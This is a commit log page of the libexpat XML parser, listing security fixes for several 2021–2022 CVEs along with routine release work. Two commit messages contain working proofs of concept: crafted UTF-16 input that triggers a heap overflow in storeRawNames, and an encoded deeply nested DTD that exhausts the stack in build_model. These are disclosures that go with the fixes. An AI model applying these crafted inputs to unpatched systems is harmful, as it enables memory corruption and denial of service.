summaryrefslogtreecommitdiff
Commit message (Collapse)AuthorAgeFilesLines
...
| * lib: Fix (harmless) use of uninitialized memorySebastian Pipping2022-02-161-4/+2
| |
* | Merge pull request #560 from ferivoz/copySebastian Pipping2022-02-181-1/+1
|\ \ | | | | | | [CVE-2022-25314] lib: Prevent integer overflow in copyString
| * | Prevent integer overflow in copyStringSamanta Navarro2022-02-151-1/+1
| | | | | | | | | | | | | | | The copyString function is only used for encoding string supplied by the library user.
* | | Merge pull request #559 from ferivoz/rawnamesSebastian Pipping2022-02-181-1/+6
|\ \ \ | | | | | | | | [CVE-2022-25315] lib: Prevent integer overflow in storeRawNames
| * | | Prevent integer overflow in storeRawNamesSamanta Navarro2022-02-151-1/+6
| |/ / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | It is possible to use an integer overflow in storeRawNames for out of boundary heap writes. Default configuration is affected. If compiled with XML_UNICODE then the attack does not work. Compiling with -fsanitize=address confirms the following proof of concept. The problem can be exploited by abusing the m_buffer expansion logic. Even though the initial size of m_buffer is a power of two, eventually it can end up a little bit lower, thus allowing allocations very close to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag names can be parsed which are almost INT_MAX in size. Unfortunately (from an attacker point of view) INT_MAX/2 is also a limitation in string pools. Having a tag name of INT_MAX/2 characters or more is not possible. Expat can convert between different encodings. UTF-16 documents which contain only ASCII representable characters are twice as large as their ASCII encoded counter-parts. The proof of concept works by taking these three considerations into account: 1. Move the m_buffer size slightly below a power of two by having a short root node <a>. This allows the m_buffer to grow very close to INT_MAX. 2. The string pooling forbids tag names longer than or equal to INT_MAX/2, so keep the attack tag name smaller than that. 3. To be able to still overflow INT_MAX even though the name is limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag which only contains ASCII characters. UTF-16 always stores two bytes per character while the tag name is converted to using only one. Our attack node byte count must be a bit higher than 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which in sum can overflow INT_MAX. Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes without running into INT_MAX boundary check. The string pooling is able to store INT_MAX/3 as tag name because the amount is below INT_MAX/2 limitation. And creating the sum of both eventually overflows in storeRawNames. Proof of Concept: 1. Compile expat with -fsanitize=address. 2. Create Proof of Concept binary which iterates through input file 16 MB at once for better performance and easier integer calculations: ``` cat > poc.c << EOF #include <err.h> #include <expat.h> #include <stdlib.h> #include <stdio.h> #define CHUNK (16 * 1024 * 1024) int main(int argc, char *argv[]) { XML_Parser parser; FILE *fp; char *buf; int i; if (argc != 2) errx(1, "usage: poc file.xml"); if ((parser = XML_ParserCreate(NULL)) == NULL) errx(1, "failed to create expat parser"); if ((fp = fopen(argv[1], "r")) == NULL) { XML_ParserFree(parser); err(1, "failed to open file"); } if ((buf = malloc(CHUNK)) == NULL) { fclose(fp); XML_ParserFree(parser); err(1, "failed to allocate buffer"); } i = 0; while (fread(buf, CHUNK, 1, fp) == 1) { printf("iteration %d: XML_Parse returns %d\n", ++i, XML_Parse(parser, buf, CHUNK, XML_FALSE)); } free(buf); fclose(fp); XML_ParserFree(parser); return 0; } EOF gcc -fsanitize=address -lexpat -o poc poc.c ``` 3. Construct specially prepared UTF-16 XML file: ``` dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368 iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml ``` 4. Run proof of concept: ``` ./poc poc-utf16.xml ```
* | | Merge pull request #558 from ferivoz/modelSebastian Pipping2022-02-181-37/+79
|\ \ \ | |_|/ |/| | [CVE-2022-25313] lib: Prevent stack exhaustion in build_model
| * | Prevent stack exhaustion in build_modelSamanta Navarro2022-02-151-37/+79
| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | It is possible to trigger stack exhaustion in build_model function if depth of nested children in DTD element is large enough. This happens because build_node is a recursively called function within build_model. The code has been adjusted to run iteratively. It uses the already allocated heap space as temporary stack (growing from top to bottom). Output is identical to recursive version. No new fields in data structures were added, i.e. it keeps full API and ABI compatibility. Instead the numchildren variable is used to temporarily keep the index of items (uint vs int). Documentation and readability improvements kindly added by Sebastian. Proof of Concept: 1. Compile poc binary which parses XML file line by line ``` cat > poc.c << EOF #include <err.h> #include <expat.h> #include <stdio.h> XML_Parser parser; static void XMLCALL dummy_element_decl_handler(void *userData, const XML_Char *name, XML_Content *model) { XML_FreeContentModel(parser, model); } int main(int argc, char *argv[]) { FILE *fp; char *p = NULL; size_t s = 0; ssize_t l; if (argc != 2) errx(1, "usage: poc poc.xml"); if ((parser = XML_ParserCreate(NULL)) == NULL) errx(1, "XML_ParserCreate"); XML_SetElementDeclHandler(parser, dummy_element_decl_handler); if ((fp = fopen(argv[1], "r")) == NULL) err(1, "fopen"); while ((l = getline(&p, &s, fp)) > 0) if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK) errx(1, "XML_Parse"); XML_ParserFree(parser); free(p); fclose(fp); return 0; } EOF cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c ``` 2. Create XML file with a lot of nested groups in DTD element ``` cat > poc.xml.zst.b64 << EOF KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ== EOF base64 -d poc.xml.zst.b64 | zstd -d > poc.xml ``` 3. Run Proof of Concept ``` ./poc poc.xml ``` Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
* | Merge pull request #563 from libexpat/extend-mailmapSebastian Pipping2022-02-1510-9/+10
|\ \ | |/ |/| Extend .mailmap
| * Sync file headersSebastian Pipping2022-02-159-9/+9
| |
| * Extend .mailmapSebastian Pipping2022-02-151-0/+1
|/
* Merge pull request #554 from libexpat/issue-552-prepare-releaseR_2_4_4Sebastian Pipping2022-01-3016-22/+36
|\ | | | | Prepare release 2.4.4 (part of #552)
| * win32: Add missing files to the installerSebastian Pipping2022-01-292-0/+7
| |
| * doc: Drop unused file valid-xhtml10.pngSebastian Pipping2022-01-293-2/+0
| | | | | | | | Unused since commit 30c4aa85f530f279d8c9cc2f584fa9a9df7e2bf1 of 2.4.0
| * .gitignore: Add missingSebastian Pipping2022-01-292-0/+2
| |
| * xmlwf.xml: Adapt note to current practiceSebastian Pipping2022-01-291-1/+1
| |
| * Set expected release date for 2.4.4Sebastian Pipping2022-01-292-2/+2
| |
| * Sync file headersSebastian Pipping2022-01-293-2/+3
| |
| * Bump version to 2.4.4Sebastian Pipping2022-01-298-13/+13
| |
| * Bump version info from 9:3:8 to 9:4:8Sebastian Pipping2022-01-293-2/+4
| | | | | | | | See https://verbump.de/ for what these numbers do
| * Changes: Document #546Sebastian Pipping2022-01-291-0/+4
|/
* Stop casting void* results from calls to .malloc_fcn (#553)czentgr2022-01-291-8/+8
|
* Merge pull request #551 from libexpat/prevent-doprolog-overflowSebastian Pipping2022-01-262-2/+14
|\ | | | | [CVE-2022-23990] lib: Prevent integer overflow in function doProlog
| * Changes: Document CVE-2022-23990Sebastian Pipping2022-01-261-0/+6
| |
| * lib: Prevent integer overflow in doProlog (CVE-2022-23990)Sebastian Pipping2022-01-261-2/+8
|/ | | | | | | The change from "int nameLen" to "size_t nameLen" addresses the overflow on "nameLen++" in code "for (; name[nameLen++];)" right above the second change in the patch.
* Merge pull request #545 from ↵Sebastian Pipping2022-01-242-2/+8
|\ | | | | | | | | libexpat/issue-544-fix-xmlwf-memleak-on-file-opening-error [>=2.3.0] xmlwf: Fix a memory leak on output file opening error (fixes #544)
| * xmlwf: Fix a memory leak on output file opening errorSebastian Pipping2022-01-242-2/+8
|/
* Merge pull request #550 from libexpat/prevent-getbuffer-overflowSebastian Pipping2022-01-243-0/+44
|\ | | | | [CVE-2022-23852] Prevent XML_GetBuffer signed integer overflow
| * Changes: Document CVE-2022-23852prevent-getbuffer-overflowSebastian Pipping2022-01-241-0/+12
| |
| * tests: Cover integer overflow in XML_GetBuffer (CVE-2022-23852)Sebastian Pipping2022-01-241-0/+27
| |
| * lib: Detect and prevent integer overflow in XML_GetBuffer (CVE-2022-23852)Samanta Navarro2022-01-241-0/+5
|/
* Merge pull request #548 from ferivoz/typosSebastian Pipping2022-01-223-4/+4
|\ | | | | Fix typos
| * Fix typosSamanta Navarro2022-01-223-4/+4
|/ | | | Typos found with codespell.
* [>=2.3.0] Autotools: Fix broken CMake support under Cygwin (#546)Carlo Bramini2022-01-202-3/+11
| | | Autotools: Fix broken CMake support under Cygwin
* Merge branch 'issue-533-prepare-release' (#533)R_2_4_3Sebastian Pipping2022-01-1616-31/+36
|\
| * Set expected release date for 2.4.3issue-533-prepare-releaseSebastian Pipping2022-01-132-2/+2
| |
| * Changes: Streamline item order for 2.4.3Sebastian Pipping2022-01-131-1/+1
| |
| * Changes: Document #528 and #529Sebastian Pipping2022-01-131-0/+3
| |
| * Sync years in file headersSebastian Pipping2022-01-1313-13/+13
| |
| * Bump version to 2.4.3Sebastian Pipping2022-01-138-13/+13
| |
| * Bump version info from 9:2:8 to 9:3:8Sebastian Pipping2022-01-133-2/+4
|/ | | | See https://verbump.de/ for what these numbers do
* Merge pull request #539 from libexpat/prevent-more-integer-overflowsSebastian Pipping2022-01-133-2/+163
|\ | | | | [CVE-2022-22822 to CVE-2022-22827] lib: Prevent more integer overflows
| * Changes: Document CVE-2022-22822 to CVE-2022-22827prevent-more-integer-overflowsSebastian Pipping2022-01-121-0/+10
| |
| * lib: Prevent integer overflow at multiple places (CVE-2022-22822 to ↵Sebastian Pipping2022-01-121-2/+151
| | | | | | | | | | | | | | | | | | | | | | | | CVE-2022-22827) The involved functions are: - addBinding (CVE-2022-22822) - build_model (CVE-2022-22823) - defineAttribute (CVE-2022-22824) - lookup (CVE-2022-22825) - nextScaffoldPart (CVE-2022-22826) - storeAtts (CVE-2022-22827)
| * linux.yml: Add some -m32 coverage to -DEXPAT_ATTR_INFO=ONSebastian Pipping2022-01-101-0/+2
|/
* Merge pull request #538 from libexpat/issue-532-integer-overflowSebastian Pipping2022-01-102-0/+21
|\ | | | | [CVE-2021-46143] lib: Prevent integer overflow on m_groupSize in function doProlog (fixes #532)
| * Changes: Document integer overflow CVE-2021-46143Sebastian Pipping2022-01-101-0/+6
| |
| * lib: Prevent integer overflow on m_groupSize in function doProlog ↵Sebastian Pipping2022-01-101-0/+15
|/ | | | (CVE-2021-46143)
* Merge pull request #541 from libexpat/fix-run-sh-in-for-native-windowsSebastian Pipping2022-01-102-1/+14
|\ | | | | run.sh.in: Do not use Wine with Cygwin and MSYS2
| * run.sh.in: Do not use Wine with Cygwin and MSYS2fix-run-sh-in-for-native-windowsSebastian Pipping2022-01-092-1/+14
|/
* Merge pull request #534 from libexpat/issue-531-troublesome-shiftsSebastian Pipping2022-01-072-2/+48
|\ | | | | [CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtts (fixes #531)